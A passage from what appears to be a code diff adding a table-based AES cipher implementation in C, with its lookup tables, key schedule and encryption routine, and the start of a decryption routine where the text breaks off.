0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, + 0xB0, 0x54, 0xBB, 0x16}; + +/* forward table */ + +#define FT \ + \ + V(C6, 63, 63, A5), V(F8, 7C, 7C, 84), V(EE, 77, 77, 99), \ + V(F6, 7B, 7B, 8D), V(FF, F2, F2, 0D), V(D6, 6B, 6B, BD), \ + V(DE, 6F, 6F, B1), V(91, C5, C5, 54), V(60, 30, 30, 50), \ + V(02, 01, 01, 03), V(CE, 67, 67, A9), V(56, 2B, 2B, 7D), \ + V(E7, FE, FE, 19), V(B5, D7, D7, 62), V(4D, AB, AB, E6), \ + V(EC, 76, 76, 9A), V(8F, CA, CA, 45), V(1F, 82, 82, 9D), \ + V(89, C9, C9, 40), V(FA, 7D, 7D, 87), V(EF, FA, FA, 15), \ + V(B2, 59, 59, EB), V(8E, 47, 47, C9), V(FB, F0, F0, 0B), \ + V(41, AD, AD, EC), V(B3, D4, D4, 67), V(5F, A2, A2, FD), \ + V(45, AF, AF, EA), V(23, 9C, 9C, BF), V(53, A4, A4, F7), \ + V(E4, 72, 72, 96), V(9B, C0, C0, 5B), V(75, B7, B7, C2), \ + V(E1, FD, FD, 1C), V(3D, 93, 93, AE), V(4C, 26, 26, 6A), \ + V(6C, 36, 36, 5A), V(7E, 3F, 3F, 41), V(F5, F7, F7, 02), \ + V(83, CC, CC, 4F), V(68, 34, 34, 5C), V(51, A5, A5, F4), \ + V(D1, E5, E5, 34), V(F9, F1, F1, 08), V(E2, 71, 71, 93), \ + V(AB, D8, D8, 73), V(62, 31, 31, 53), V(2A, 15, 15, 3F), \ + V(08, 04, 04, 0C), V(95, C7, C7, 52), V(46, 23, 23, 65), \ + V(9D, C3, C3, 5E), V(30, 18, 18, 28), V(37, 96, 96, A1), \ + V(0A, 05, 05, 0F), V(2F, 9A, 9A, B5), V(0E, 07, 07, 09), \ + V(24, 12, 12, 36), V(1B, 80, 80, 9B), V(DF, E2, E2, 3D), \ + V(CD, EB, EB, 26), V(4E, 27, 27, 69), V(7F, B2, B2, CD), \ + V(EA, 75, 75, 9F), V(12, 09, 09, 1B), V(1D, 83, 83, 9E), \ + V(58, 2C, 2C, 74), V(34, 1A, 1A, 2E), V(36, 1B, 1B, 2D), \ + V(DC, 6E, 6E, B2), V(B4, 5A, 5A, EE), V(5B, A0, A0, FB), \ + V(A4, 52, 52, F6), V(76, 3B, 3B, 4D), V(B7, D6, D6, 61), \ + V(7D, B3, B3, CE), V(52, 29, 29, 7B), V(DD, E3, E3, 3E), \ + V(5E, 2F, 2F, 71), V(13, 84, 84, 97), V(A6, 53, 53, F5), \ + V(B9, D1, D1, 68), V(00, 00, 00, 00), V(C1, ED, ED, 2C), \ + V(40, 20, 20, 60), V(E3, FC, FC, 1F), V(79, B1, B1, C8), \ + V(B6, 5B, 5B, ED), V(D4, 6A, 6A, BE), V(8D, CB, CB, 46), \ + V(67, BE, BE, D9), V(72, 39, 39, 4B), V(94, 4A, 4A, DE), \ + V(98, 4C, 4C, D4), V(B0, 58, 58, E8), V(85, CF, CF, 4A), \ + V(BB, D0, D0, 6B), V(C5, EF, EF, 2A), V(4F, AA, AA, E5), \ + V(ED, FB, FB, 16), V(86, 43, 43, C5), V(9A, 4D, 4D, D7), \ + V(66, 33, 33, 55), V(11, 85, 85, 94), V(8A, 45, 45, CF), \ + V(E9, F9, F9, 10), V(04, 02, 02, 06), V(FE, 7F, 7F, 81), \ + V(A0, 50, 50, F0), V(78, 3C, 3C, 44), V(25, 9F, 9F, BA), \ + V(4B, A8, A8, E3), V(A2, 51, 51, F3), V(5D, A3, A3, FE), \ + V(80, 40, 40, C0), V(05, 8F, 8F, 8A), V(3F, 92, 92, AD), \ + V(21, 9D, 9D, BC), V(70, 38, 38, 48), V(F1, F5, F5, 04), \ + V(63, BC, BC, DF), V(77, B6, B6, C1), V(AF, DA, DA, 75), \ + V(42, 21, 21, 63), V(20, 10, 10, 30), V(E5, FF, FF, 1A), \ + V(FD, F3, F3, 0E), V(BF, D2, D2, 6D), V(81, CD, CD, 4C), \ + V(18, 0C, 0C, 14), V(26, 13, 13, 35), V(C3, EC, EC, 2F), \ + V(BE, 5F, 5F, E1), V(35, 97, 97, A2), V(88, 44, 44, CC), \ + V(2E, 17, 17, 39), V(93, C4, C4, 57), V(55, A7, A7, F2), \ + V(FC, 7E, 7E, 82), V(7A, 3D, 3D, 47), V(C8, 64, 64, AC), \ + V(BA, 5D, 5D, E7), V(32, 19, 19, 2B), V(E6, 73, 73, 95), \ + V(C0, 60, 60, A0), V(19, 81, 81, 98), V(9E, 4F, 4F, D1), \ + V(A3, DC, DC, 7F), V(44, 22, 22, 66), V(54, 2A, 2A, 7E), \ + V(3B, 90, 90, AB), V(0B, 88, 88, 83), V(8C, 46, 46, CA), \ + V(C7, EE, EE, 29), V(6B, B8, B8, D3), V(28, 14, 14, 3C), \ + V(A7, DE, DE, 79), V(BC, 5E, 5E, E2), V(16, 0B, 0B, 1D), \ + V(AD, DB, DB, 76), V(DB, E0, E0, 3B), V(64, 32, 32, 56), \ + V(74, 3A, 3A, 4E), V(14, 0A, 0A, 1E), V(92, 49, 49, DB), \ + V(0C, 06, 06, 0A), V(48, 24, 24, 6C), V(B8, 5C, 5C, E4), \ + V(9F, C2, C2, 5D), V(BD, D3, D3, 6E), V(43, AC, AC, EF), \ + V(C4, 62, 62, A6), V(39, 91, 91, A8), V(31, 95, 95, A4), \ + V(D3, E4, E4, 37), V(F2, 79, 79, 8B), V(D5, E7, E7, 32), \ + V(8B, C8, C8, 43), V(6E, 37, 37, 59), V(DA, 6D, 6D, B7), \ + V(01, 8D, 8D, 8C), V(B1, D5, D5, 64), V(9C, 4E, 4E, D2), \ + V(49, A9, A9, E0), V(D8, 6C, 6C, B4), V(AC, 56, 56, FA), \ + V(F3, F4, F4, 07), V(CF, EA, EA, 25), V(CA, 65, 65, AF), \ + V(F4, 7A, 7A, 8E), V(47, AE, AE, E9), V(10, 08, 08, 18), \ + V(6F, BA, BA, D5), V(F0, 78, 78, 88), V(4A, 25, 25, 6F), \ + V(5C, 2E, 2E, 72), V(38, 1C, 1C, 24), V(57, A6, A6, F1), \ + V(73, B4, B4, C7), V(97, C6, C6, 51), V(CB, E8, E8, 23), \ + V(A1, DD, DD, 7C), V(E8, 74, 74, 9C), V(3E, 1F, 1F, 21), \ + V(96, 4B, 4B, DD), V(61, BD, BD, DC), V(0D, 8B, 8B, 86), \ + V(0F, 8A, 8A, 85), V(E0, 70, 70, 90), V(7C, 3E, 3E, 42), \ + V(71, B5, B5, C4), V(CC, 66, 66, AA), V(90, 48, 48, D8), \ + V(06, 03, 03, 05), V(F7, F6, F6, 01), V(1C, 0E, 0E, 12), \ + V(C2, 61, 61, A3), V(6A, 35, 35, 5F), V(AE, 57, 57, F9), \ + V(69, B9, B9, D0), V(17, 86, 86, 91), V(99, C1, C1, 58), \ + V(3A, 1D, 1D, 27), V(27, 9E, 9E, B9), V(D9, E1, E1, 38), \ + V(EB, F8, F8, 13), V(2B, 98, 98, B3), V(22, 11, 11, 33), \ + V(D2, 69, 69, BB), V(A9, D9, D9, 70), V(07, 8E, 8E, 89), \ + V(33, 94, 94, A7), V(2D, 9B, 9B, B6), V(3C, 1E, 1E, 22), \ + V(15, 87, 87, 92), V(C9, E9, E9, 20), V(87, CE, CE, 49), \ + V(AA, 55, 55, FF), V(50, 28, 28, 78), V(A5, DF, DF, 7A), \ + V(03, 8C, 8C, 8F), V(59, A1, A1, F8), V(09, 89, 89, 80), \ + V(1A, 0D, 0D, 17), V(65, BF, BF, DA), V(D7, E6, E6, 31), \ + V(84, 42, 42, C6), V(D0, 68, 68, B8), V(82, 41, 41, C3), \ + V(29, 99, 99, B0), V(5A, 2D, 2D, 77), V(1E, 0F, 0F, 11), \ + V(7B, B0, B0, CB), V(A8, 54, 54, FC), V(6D, BB, BB, D6), \ + V(2C, 16, 16, 3A) + +#define V(a, b, c, d) 0x##a##b##c##d +static uint32 FT0[256] = {FT}; +#undef V + +#define V(a, b, c, d) 0x##d##a##b##c +static uint32 FT1[256] = {FT}; +#undef V + +#define V(a, b, c, d) 0x##c##d##a##b +static uint32 FT2[256] = {FT}; +#undef V + +#define V(a, b, c, d) 0x##b##c##d##a +static uint32 FT3[256] = {FT}; +#undef V + +/* reverse S-box */ + +static uint32 RSb[256] = { + 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, + 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, + 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, + 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, + 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, + 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, + 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, + 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, + 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, + 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, + 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, + 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, + 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, + 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, + 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, + 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, + 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, + 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, + 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, + 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, + 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, + 0x55, 0x21, 0x0C, 0x7D}; + +/* reverse table */ + +#define RT \ + \ + V(51, F4, A7, 50), V(7E, 41, 65, 53), V(1A, 17, A4, C3), \ + V(3A, 27, 5E, 96), V(3B, AB, 6B, CB), V(1F, 9D, 45, F1), \ + V(AC, FA, 58, AB), V(4B, E3, 03, 93), V(20, 30, FA, 55), \ + V(AD, 76, 6D, F6), V(88, CC, 76, 91), V(F5, 02, 4C, 25), \ + V(4F, E5, D7, FC), V(C5, 2A, CB, D7), V(26, 35, 44, 80), \ + V(B5, 62, A3, 8F), V(DE, B1, 5A, 49), V(25, BA, 1B, 67), \ + V(45, EA, 0E, 98), V(5D, FE, C0, E1), V(C3, 2F, 75, 02), \ + V(81, 4C, F0, 12), V(8D, 46, 97, A3), V(6B, D3, F9, C6), \ + V(03, 8F, 5F, E7), V(15, 92, 9C, 95), V(BF, 6D, 7A, EB), \ + V(95, 52, 59, DA), V(D4, BE, 83, 2D), V(58, 74, 21, D3), \ + V(49, E0, 69, 29), V(8E, C9, C8, 44), V(75, C2, 89, 6A), \ + V(F4, 8E, 79, 78), V(99, 58, 3E, 6B), V(27, B9, 71, DD), \ + V(BE, E1, 4F, B6), V(F0, 88, AD, 17), V(C9, 20, AC, 66), \ + V(7D, CE, 3A, B4), V(63, DF, 4A, 18), V(E5, 1A, 31, 82), \ + V(97, 51, 33, 60), V(62, 53, 7F, 45), V(B1, 64, 77, E0), \ + V(BB, 6B, AE, 84), V(FE, 81, A0, 1C), V(F9, 08, 2B, 94), \ + V(70, 48, 68, 58), V(8F, 45, FD, 19), V(94, DE, 6C, 87), \ + V(52, 7B, F8, B7), V(AB, 73, D3, 23), V(72, 4B, 02, E2), \ + V(E3, 1F, 8F, 57), V(66, 55, AB, 2A), V(B2, EB, 28, 07), \ + V(2F, B5, C2, 03), V(86, C5, 7B, 9A), V(D3, 37, 08, A5), \ + V(30, 28, 87, F2), V(23, BF, A5, B2), V(02, 03, 6A, BA), \ + V(ED, 16, 82, 5C), V(8A, CF, 1C, 2B), V(A7, 79, B4, 92), \ + V(F3, 07, F2, F0), V(4E, 69, E2, A1), V(65, DA, F4, CD), \ + V(06, 05, BE, D5), V(D1, 34, 62, 1F), V(C4, A6, FE, 8A), \ + V(34, 2E, 53, 9D), V(A2, F3, 55, A0), V(05, 8A, E1, 32), \ + V(A4, F6, EB, 75), V(0B, 83, EC, 39), V(40, 60, EF, AA), \ + V(5E, 71, 9F, 06), V(BD, 6E, 10, 51), V(3E, 21, 8A, F9), \ + V(96, DD, 06, 3D), V(DD, 3E, 05, AE), V(4D, E6, BD, 46), \ + V(91, 54, 8D, B5), V(71, C4, 5D, 05), V(04, 06, D4, 6F), \ + V(60, 50, 15, FF), V(19, 98, FB, 24), V(D6, BD, E9, 97), \ + V(89, 40, 43, CC), V(67, D9, 9E, 77), V(B0, E8, 42, BD), \ + V(07, 89, 8B, 88), V(E7, 19, 5B, 38), V(79, C8, EE, DB), \ + V(A1, 7C, 0A, 47), V(7C, 42, 0F, E9), V(F8, 84, 1E, C9), \ + V(00, 00, 00, 00), V(09, 80, 86, 83), V(32, 2B, ED, 48), \ + V(1E, 11, 70, AC), V(6C, 5A, 72, 4E), V(FD, 0E, FF, FB), \ + V(0F, 85, 38, 56), V(3D, AE, D5, 1E), V(36, 2D, 39, 27), \ + V(0A, 0F, D9, 64), V(68, 5C, A6, 21), V(9B, 5B, 54, D1), \ + V(24, 36, 2E, 3A), V(0C, 0A, 67, B1), V(93, 57, E7, 0F), \ + V(B4, EE, 96, D2), V(1B, 9B, 91, 9E), V(80, C0, C5, 4F), \ + V(61, DC, 20, A2), V(5A, 77, 4B, 69), V(1C, 12, 1A, 16), \ + V(E2, 93, BA, 0A), V(C0, A0, 2A, E5), V(3C, 22, E0, 43), \ + V(12, 1B, 17, 1D), V(0E, 09, 0D, 0B), V(F2, 8B, C7, AD), \ + V(2D, B6, A8, B9), V(14, 1E, A9, C8), V(57, F1, 19, 85), \ + V(AF, 75, 07, 4C), V(EE, 99, DD, BB), V(A3, 7F, 60, FD), \ + V(F7, 01, 26, 9F), V(5C, 72, F5, BC), V(44, 66, 3B, C5), \ + V(5B, FB, 7E, 34), V(8B, 43, 29, 76), V(CB, 23, C6, DC), \ + V(B6, ED, FC, 68), V(B8, E4, F1, 63), V(D7, 31, DC, CA), \ + V(42, 63, 85, 10), V(13, 97, 22, 40), V(84, C6, 11, 20), \ + V(85, 4A, 24, 7D), V(D2, BB, 3D, F8), V(AE, F9, 32, 11), \ + V(C7, 29, A1, 6D), V(1D, 9E, 2F, 4B), V(DC, B2, 30, F3), \ + V(0D, 86, 52, EC), V(77, C1, E3, D0), V(2B, B3, 16, 6C), \ + V(A9, 70, B9, 99), V(11, 94, 48, FA), V(47, E9, 64, 22), \ + V(A8, FC, 8C, C4), V(A0, F0, 3F, 1A), V(56, 7D, 2C, D8), \ + V(22, 33, 90, EF), V(87, 49, 4E, C7), V(D9, 38, D1, C1), \ + V(8C, CA, A2, FE), V(98, D4, 0B, 36), V(A6, F5, 81, CF), \ + V(A5, 7A, DE, 28), V(DA, B7, 8E, 26), V(3F, AD, BF, A4), \ + V(2C, 3A, 9D, E4), V(50, 78, 92, 0D), V(6A, 5F, CC, 9B), \ + V(54, 7E, 46, 62), V(F6, 8D, 13, C2), V(90, D8, B8, E8), \ + V(2E, 39, F7, 5E), V(82, C3, AF, F5), V(9F, 5D, 80, BE), \ + V(69, D0, 93, 7C), V(6F, D5, 2D, A9), V(CF, 25, 12, B3), \ + V(C8, AC, 99, 3B), V(10, 18, 7D, A7), V(E8, 9C, 63, 6E), \ + V(DB, 3B, BB, 7B), V(CD, 26, 78, 09), V(6E, 59, 18, F4), \ + V(EC, 9A, B7, 01), V(83, 4F, 9A, A8), V(E6, 95, 6E, 65), \ + V(AA, FF, E6, 7E), V(21, BC, CF, 08), V(EF, 15, E8, E6), \ + V(BA, E7, 9B, D9), V(4A, 6F, 36, CE), V(EA, 9F, 09, D4), \ + V(29, B0, 7C, D6), V(31, A4, B2, AF), V(2A, 3F, 23, 31), \ + V(C6, A5, 94, 30), V(35, A2, 66, C0), V(74, 4E, BC, 37), \ + V(FC, 82, CA, A6), V(E0, 90, D0, B0), V(33, A7, D8, 15), \ + V(F1, 04, 98, 4A), V(41, EC, DA, F7), V(7F, CD, 50, 0E), \ + V(17, 91, F6, 2F), V(76, 4D, D6, 8D), V(43, EF, B0, 4D), \ + V(CC, AA, 4D, 54), V(E4, 96, 04, DF), V(9E, D1, B5, E3), \ + V(4C, 6A, 88, 1B), V(C1, 2C, 1F, B8), V(46, 65, 51, 7F), \ + V(9D, 5E, EA, 04), V(01, 8C, 35, 5D), V(FA, 87, 74, 73), \ + V(FB, 0B, 41, 2E), V(B3, 67, 1D, 5A), V(92, DB, D2, 52), \ + V(E9, 10, 56, 33), V(6D, D6, 47, 13), V(9A, D7, 61, 8C), \ + V(37, A1, 0C, 7A), V(59, F8, 14, 8E), V(EB, 13, 3C, 89), \ + V(CE, A9, 27, EE), V(B7, 61, C9, 35), V(E1, 1C, E5, ED), \ + V(7A, 47, B1, 3C), V(9C, D2, DF, 59), V(55, F2, 73, 3F), \ + V(18, 14, CE, 79), V(73, C7, 37, BF), V(53, F7, CD, EA), \ + V(5F, FD, AA, 5B), V(DF, 3D, 6F, 14), V(78, 44, DB, 86), \ + V(CA, AF, F3, 81), V(B9, 68, C4, 3E), V(38, 24, 34, 2C), \ + V(C2, A3, 40, 5F), V(16, 1D, C3, 72), V(BC, E2, 25, 0C), \ + V(28, 3C, 49, 8B), V(FF, 0D, 95, 41), V(39, A8, 01, 71), \ + V(08, 0C, B3, DE), V(D8, B4, E4, 9C), V(64, 56, C1, 90), \ + V(7B, CB, 84, 61), V(D5, 32, B6, 70), V(48, 6C, 5C, 74), \ + V(D0, B8, 57, 42) + +#define V(a, b, c, d) 0x##a##b##c##d +static uint32 RT0[256] = {RT}; +#undef V + +#define V(a, b, c, d) 0x##d##a##b##c +static uint32 RT1[256] = {RT}; +#undef V + +#define V(a, b, c, d) 0x##c##d##a##b +static uint32 RT2[256] = {RT}; +#undef V + +#define V(a, b, c, d) 0x##b##c##d##a +static uint32 RT3[256] = {RT}; +#undef V + +/* round constants */ + +static uint32 RCON[10] = {0x01000000, 0x02000000, 0x04000000, 0x08000000, + 0x10000000, 0x20000000, 0x40000000, 0x80000000, + 0x1B000000, 0x36000000}; + +/* platform-independant 32-bit integer manipulation macros */ + +#define GET_UINT32(n, b, i) \ + { \ + (n) = ((uint32)(b)[(i)] << 24) | \ + ((uint32)(b)[(i) + 1] << 16) | \ + ((uint32)(b)[(i) + 2] << 8) | ((uint32)(b)[(i) + 3]); \ + } + +#define PUT_UINT32(n, b, i) \ + { \ + (b)[(i)] = (uint8)((n) >> 24); \ + (b)[(i) + 1] = (uint8)((n) >> 16); \ + (b)[(i) + 2] = (uint8)((n) >> 8); \ + (b)[(i) + 3] = (uint8)((n)); \ + } + +/* key scheduling routine */ + +int aes_set_key(struct aes_context *ctx, uint8 *key, int nbits) +{ + int i; + uint32 *RK; + + switch (nbits) { + case 128: + ctx->nr = 10; + break; + case 192: + ctx->nr = 12; + break; + case 256: + ctx->nr = 14; + break; + default: + return (1); + } + + RK = ctx->erk; + + for (i = 0; i < (nbits >> 5); i++) { + GET_UINT32(RK[i], key, i * 4); + } + + /* setup encryption round keys */ + + switch (nbits) { + case 128: + + for (i = 0; i < 10; i++, RK += 4) { + RK[4] = RK[0] ^ RCON[i] ^ + (FSb[(uint8)(RK[3] >> 16)] << 24) ^ + (FSb[(uint8)(RK[3] >> 8)] << 16) ^ + (FSb[(uint8)(RK[3])] << 8) ^ + (FSb[(uint8)(RK[3] >> 24)]); + + RK[5] = RK[1] ^ RK[4]; + RK[6] = RK[2] ^ RK[5]; + RK[7] = RK[3] ^ RK[6]; + } + break; + + case 192: + + for (i = 0; i < 8; i++, RK += 6) { + RK[6] = RK[0] ^ RCON[i] ^ + (FSb[(uint8)(RK[5] >> 16)] << 24) ^ + (FSb[(uint8)(RK[5] >> 8)] << 16) ^ + (FSb[(uint8)(RK[5])] << 8) ^ + (FSb[(uint8)(RK[5] >> 24)]); + + RK[7] = RK[1] ^ RK[6]; + RK[8] = RK[2] ^ RK[7]; + RK[9] = RK[3] ^ RK[8]; + RK[10] = RK[4] ^ RK[9]; + RK[11] = RK[5] ^ RK[10]; + } + break; + + case 256: + + for (i = 0; i < 7; i++, RK += 8) { + RK[8] = RK[0] ^ RCON[i] ^ + (FSb[(uint8)(RK[7] >> 16)] << 24) ^ + (FSb[(uint8)(RK[7] >> 8)] << 16) ^ + (FSb[(uint8)(RK[7])] << 8) ^ + (FSb[(uint8)(RK[7] >> 24)]); + + RK[9] = RK[1] ^ RK[8]; + RK[10] = RK[2] ^ RK[9]; + RK[11] = RK[3] ^ RK[10]; + + RK[12] = RK[4] ^ (FSb[(uint8)(RK[11] >> 24)] << 24) ^ + (FSb[(uint8)(RK[11] >> 16)] << 16) ^ + (FSb[(uint8)(RK[11] >> 8)] << 8) ^ + (FSb[(uint8)(RK[11])]); + + RK[13] = RK[5] ^ RK[12]; + RK[14] = RK[6] ^ RK[13]; + RK[15] = RK[7] ^ RK[14]; + } + break; + } + + /* setup decryption round keys */ + + for (i = 0; i <= ctx->nr; i++) { + ctx->drk[i * 4] = ctx->erk[(ctx->nr - i) * 4]; + ctx->drk[i * 4 + 1] = ctx->erk[(ctx->nr - i) * 4 + 1]; + ctx->drk[i * 4 + 2] = ctx->erk[(ctx->nr - i) * 4 + 2]; + ctx->drk[i * 4 + 3] = ctx->erk[(ctx->nr - i) * 4 + 3]; + } + + for (i = 1, RK = ctx->drk + 4; i < ctx->nr; i++, RK += 4) { + RK[0] = RT0[FSb[(uint8)(RK[0] >> 24)]] ^ + RT1[FSb[(uint8)(RK[0] >> 16)]] ^ + RT2[FSb[(uint8)(RK[0] >> 8)]] ^ + RT3[FSb[(uint8)(RK[0])]]; + + RK[1] = RT0[FSb[(uint8)(RK[1] >> 24)]] ^ + RT1[FSb[(uint8)(RK[1] >> 16)]] ^ + RT2[FSb[(uint8)(RK[1] >> 8)]] ^ + RT3[FSb[(uint8)(RK[1])]]; + + RK[2] = RT0[FSb[(uint8)(RK[2] >> 24)]] ^ + RT1[FSb[(uint8)(RK[2] >> 16)]] ^ + RT2[FSb[(uint8)(RK[2] >> 8)]] ^ + RT3[FSb[(uint8)(RK[2])]]; + + RK[3] = RT0[FSb[(uint8)(RK[3] >> 24)]] ^ + RT1[FSb[(uint8)(RK[3] >> 16)]] ^ + RT2[FSb[(uint8)(RK[3] >> 8)]] ^ + RT3[FSb[(uint8)(RK[3])]]; + } + + return (0); +} + +/* 128-bit block encryption routine */ + +void aes_encrypt(struct aes_context *ctx, uint8 data[16]) +{ + uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; + + RK = ctx->erk; + + GET_UINT32(X0, data, 0); + X0 ^= RK[0]; + GET_UINT32(X1, data, 4); + X1 ^= RK[1]; + GET_UINT32(X2, data, 8); + X2 ^= RK[2]; + GET_UINT32(X3, data, 12); + X3 ^= RK[3]; + +#define FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \ + { \ + RK += 4; \ + \ + X0 = RK[0] ^ FT0[(uint8)(Y0 >> 24)] ^ FT1[(uint8)(Y1 >> 16)] ^ \ + FT2[(uint8)(Y2 >> 8)] ^ FT3[(uint8)(Y3)]; \ + \ + X1 = RK[1] ^ FT0[(uint8)(Y1 >> 24)] ^ FT1[(uint8)(Y2 >> 16)] ^ \ + FT2[(uint8)(Y3 >> 8)] ^ FT3[(uint8)(Y0)]; \ + \ + X2 = RK[2] ^ FT0[(uint8)(Y2 >> 24)] ^ FT1[(uint8)(Y3 >> 16)] ^ \ + FT2[(uint8)(Y0 >> 8)] ^ FT3[(uint8)(Y1)]; \ + \ + X3 = RK[3] ^ FT0[(uint8)(Y3 >> 24)] ^ FT1[(uint8)(Y0 >> 16)] ^ \ + FT2[(uint8)(Y1 >> 8)] ^ FT3[(uint8)(Y2)]; \ + } + + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 1 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 2 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 3 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 4 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 5 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 6 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 7 */ + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 8 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 9 */ + + if (ctx->nr > 10) { + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 10 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 11 */ + } + + if (ctx->nr > 12) { + FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 12 */ + FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 13 */ + } + + /* last round */ + + RK += 4; + + X0 = RK[0] ^ (FSb[(uint8)(Y0 >> 24)] << 24) ^ + (FSb[(uint8)(Y1 >> 16)] << 16) ^ (FSb[(uint8)(Y2 >> 8)] << 8) ^ + (FSb[(uint8)(Y3)]); + + X1 = RK[1] ^ (FSb[(uint8)(Y1 >> 24)] << 24) ^ + (FSb[(uint8)(Y2 >> 16)] << 16) ^ (FSb[(uint8)(Y3 >> 8)] << 8) ^ + (FSb[(uint8)(Y0)]); + + X2 = RK[2] ^ (FSb[(uint8)(Y2 >> 24)] << 24) ^ + (FSb[(uint8)(Y3 >> 16)] << 16) ^ (FSb[(uint8)(Y0 >> 8)] << 8) ^ + (FSb[(uint8)(Y1)]); + + X3 = RK[3] ^ (FSb[(uint8)(Y3 >> 24)] << 24) ^ + (FSb[(uint8)(Y0 >> 16)] << 16) ^ (FSb[(uint8)(Y1 >> 8)] << 8) ^ + (FSb[(uint8)(Y2)]); + + PUT_UINT32(X0, data, 0); + PUT_UINT32(X1, data, 4); + PUT_UINT32(X2, data, 8); + PUT_UINT32(X3, data, 12); +} + +/* 128-bit block decryption routine */ + +void aes_decrypt(struct aes_context *ctx, uint8 data[16]) +{ + uint32 *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; + + RK = ctx->drk; + + GET_UINT32(X0, data, 0); + X0 ^= RK[0]; + GET_UINT32(X1, data, 4); + X1 ^= RK[1]; + GET_UINT32(X2, data, 8); + X2 ^= RK[2]; + GET_UINT32(X3, data, 12); + X3 ^= RK[3]; + +#define RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3) \ + { \ + RK += 4; \ + \ + X0 = RK[0] ^ RT0[(uint8)(Y0 >> 24)] ^ RT1[(uint8)(Y3 >> 16)] ^ \ + RT2[(uint8)(Y2 >> 8)] ^ RT3[(uint8)(Y1)]; \ + \ + X1 = RK[1] ^ RT0[(uint8)(Y1 >> 24)] ^ RT1[(uint8)(Y0 >> 16)] ^ \ + RT2[(uint8)(Y3 >> 8)] ^ RT3[(uint8)(Y2)]; \ + \ + X2 = RK[2] ^ RT0[(uint8)(Y2 >> 24)] ^ RT1[(uint8)(Y1 >> 16)] ^ \ + RT2[(uint8)(Y0 >> 8)] ^ RT3[(uint8)(Y3)]; \ + \ + X3 = RK[3] ^ RT0[(uint8)(Y3 >> 24)] ^ RT1[(uint8)(Y2 >> 16)] ^ \ + RT2[(uint8)(Y1 >> 8)] ^ RT3[(uint8)(Y0)]; \ + } + + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 1 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 2 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 3 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 4 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 5 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 6 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 7 */ + RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); /* round 8 */ + RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); /* round 9 */ + + if (ctx->nr > 10) { + 